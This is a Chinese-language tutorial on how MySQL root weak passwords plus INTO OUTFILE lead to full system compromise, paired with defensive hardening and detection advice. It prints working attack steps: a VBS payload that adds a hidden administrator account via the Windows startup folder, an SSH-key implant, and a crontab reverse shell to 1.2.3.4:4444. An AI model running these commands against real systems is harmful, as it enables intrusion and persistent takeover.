萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 程式設計 >  >> 資料庫 >> MySQL 教學

MySQL Root 弱口令攻擊實戰複現與防禦體系構建

⚠️ 安全警示

本文僅供安全研究、防禦部署、合規審計參考。嚴禁用於未授權系統滲透測試或非法攻擊。請遵守《網絡安全法》《計算機信息網絡國際聯網安全保護管理辦法》等法律法規。

攻擊原理剖析:從弱口令到 RCE 的完整鏈路

攻擊利用三個條件的**同時滿足**:

  1. Root 弱口令/空密碼:暴力破解或默認口令命中
  2. 開放 3306 端口至公網/內網非信任區:無防火牆限制、無 IP 白名單
  3. 啟用 secure_file_priv 為空或目錄可寫:允許 SELECT ... INTO OUTFILE 寫任意路徑

攻擊步驟複現(靶場環境驗證)

階段 1:建立連接、偵察

mysql -u root -h 192.168.0.1 -p  # 弱口令登錄
mysql> SHOW DATABASES;           -- 確認權限範圍
mysql> USE test;                 -- 進入默認測試庫(通常有寫權限)
mysql> SHOW TABLES;

階段 2:構建惡意載荷表

CREATE TABLE payload (cmd TEXT);

-- 寫入 VBS 腳本片段(創建管理員用戶並加入 Administrators 組)
INSERT INTO payload VALUES ('Set wshShell = CreateObject("WScript.Shell")');
INSERT INTO payload VALUES ('a = wshShell.Run("cmd.exe /c net user hacker P@ssw0rd /add", 0)');
INSERT INTO payload VALUES ('b = wshShell.Run("cmd.exe /c net localgroup Administrators hacker /add", 0)');
  • 0 參數 = 隱藏窗口執行
  • VBS 而非 BAT:無黑框彈出,隱蔽性極強

階段 3:導出至啟動目錄,實現持久化

SELECT * FROM payload 
INTO OUTFILE 'C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\evil.vbs'
CHARACTER SET gbk;  -- Windows 中文路徑需匹配字符集

下次管理員登錄時,腳本自動執行 → 獲得系統最高權限。

為什麼這招屢試不爽?

環節MySQL 預設行為風險放大器
安裝默認Root 無密/弱密、開放 3306、test 庫可寫開箱即用的攻擊面
secure_file_priv5.6 前默認空(允許任意路徑);5.6+ 默認限制目錄但常被改回空INTO OUTFILE 任意寫文件
Windows 啟動目錄所有用戶啟動目錄默認可寫無需提權即可種植持久化
VBS 執行雙擊/啟動自動由 wscript.exe 解析運行繞過 PowerShell 執行策略、殺毒靜態查殺

防禦體系:纵深防御四層

第 1 層:消除弱口令(根治)

  • Root 必須**強密碼**(≥16 位、大小寫數字特殊字符)
  • 禁用 Root 遠程登錄:DELETE FROM mysql.user WHERE User='root' AND Host NOT IN ('localhost','127.0.0.1','::1'); FLUSH PRIVILEGES;
  • 啟用 validate_password 組件強制策略
  • 定期輪換、審計賬號

第 2 層:網絡訪問控制(阻斷)

  • **3306 絕不開放公網**
  • 安全組/防火牆/雲廠商安全組:僅允許應用服務器 IP 段訪問
  • 生產環境強制 **SSL/TLS 加密連接**:REQUIRE SSL、ssl_ca/ssl_cert/ssl_key
  • 跳板機/堡壘機統一運維入口,審計所有操作

第 3 層:服務端能力收斂(最小權限)

[mysqld]
# 禁用 LOCAL INFILE(客戶端讀取本地文件上傳)
local_infile = 0

# 限制 INTO OUTFILE 目錄(必須設置,不可留空)
secure_file_priv = /var/lib/mysql-files/

# 禁用不需要的功能
skip_show_database        -- 禁止無權限用戶 SHOW DATABASES
skip_symbolic_links       -- 禁用符號鏈接(防目錄遍歷)

第 4 層:監控與應急(發現與響應)

  • 審計日志:部署 MariaDB Audit Plugin 或 MySQL Enterprise Audit,記錄所有登錄、DDL、DML、INTO OUTFILE 操作
  • 異常行為告警:
-- 監控疑似攻擊 SQL
SELECT * FROM mysql.general_log 
WHERE argument LIKE '%INTO OUTFILE%' 
   OR argument LIKE '%CreateObject%'
   OR argument LIKE '%WScript.Shell%';
  • 文件完整性監控 (FIM):監控啟動目錄、計劃任務、關鍵系統目錄文件變更
  • 應急預案:發現入侵 → 隔離網絡 → 保留現場 → 分析 Binlog/審計日志 → 修復密碼/補丁 → 全量掃描清理後門

擴展:Linux 環境下的類似攻擊面

-- 寫入 SSH 公鑰
SELECT 'ssh-rsa AAAAB3NzaC1yc2E... attacker@evil' 
INTO OUTFILE '/root/.ssh/authorized_keys';

-- 寫入 Crontab 反彈 Shell
SELECT '* * * * * /bin/bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'
INTO OUTFILE '/var/spool/cron/root';

同理,**secure_file_priv 必須鎖定**、**Root 禁用密碼登錄(強制密鑰)**、**目錄權限最小化**。

總結

MySQL Root 弱口令 + INTO OUTFILE 任意寫文件 = **從數據庫到操作系統的完全失陷**。這不是漏洞,是**配置失誤的必然結果**。安全無小事:**強密碼、網絡隔離、能力收斂、審計告警、應急演練**,五位一體,構建纵深防御體系,才能讓攻擊者「無門可入、有門難攻、攻了難藏、藏了難跑」。

copyright © 萬盛學電腦網 all rights reserved